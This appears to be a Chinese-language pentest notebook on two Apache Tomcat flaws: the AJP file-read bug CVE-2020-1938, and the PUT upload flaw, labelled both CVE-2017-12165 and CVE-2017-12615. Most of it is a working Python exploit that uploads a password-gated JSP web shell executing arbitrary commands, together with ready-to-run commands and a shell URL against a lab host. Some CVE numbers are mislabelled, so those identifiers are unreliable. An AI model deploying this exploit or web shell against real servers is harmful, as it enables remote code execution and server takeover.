cve-2020-1938
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
读取配置文件
python3 /root/桌面/cve-2020-1983/tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.64.142
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
cve-2017-12165
利用条件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件内容如:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
python3 /root/桌面/tomcat-cve-2017-12165.py http://192.168.64.142:8080/
http://192.168.64.142:8080/cbd.jsp?pwd=cbd&cmd=ls
# 某佬脚本
import requests
import sys
'''
Usege:python3 CVE-2017-12615.py http://127.0.0.1/
Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami
'''
def attack(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"}
data = """<%
if("cbd".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
code = ['cbd.jsp.', 'cbd.jsp/', 'cbd.jsp::$DATA']
try:
for i in range(2):
requests.put(url + code[i], headers=headers, data=data) # 发送put请求写入文件
resp = requests.get(url + code[i][:-1], headers=headers) # 发送get请求验证是否写入
if resp.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[0][:-1])
exit()
requests.put(url + code[2], headers=headers, data=data)
resp1 = requests.get(url + code[2], headers=headers)
if resp1.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[2])
print('Exploit结束')
except:
"someone is error!!!"
if __name__ == '__main__':
target_url = sys.argv[1]
attack(target_url)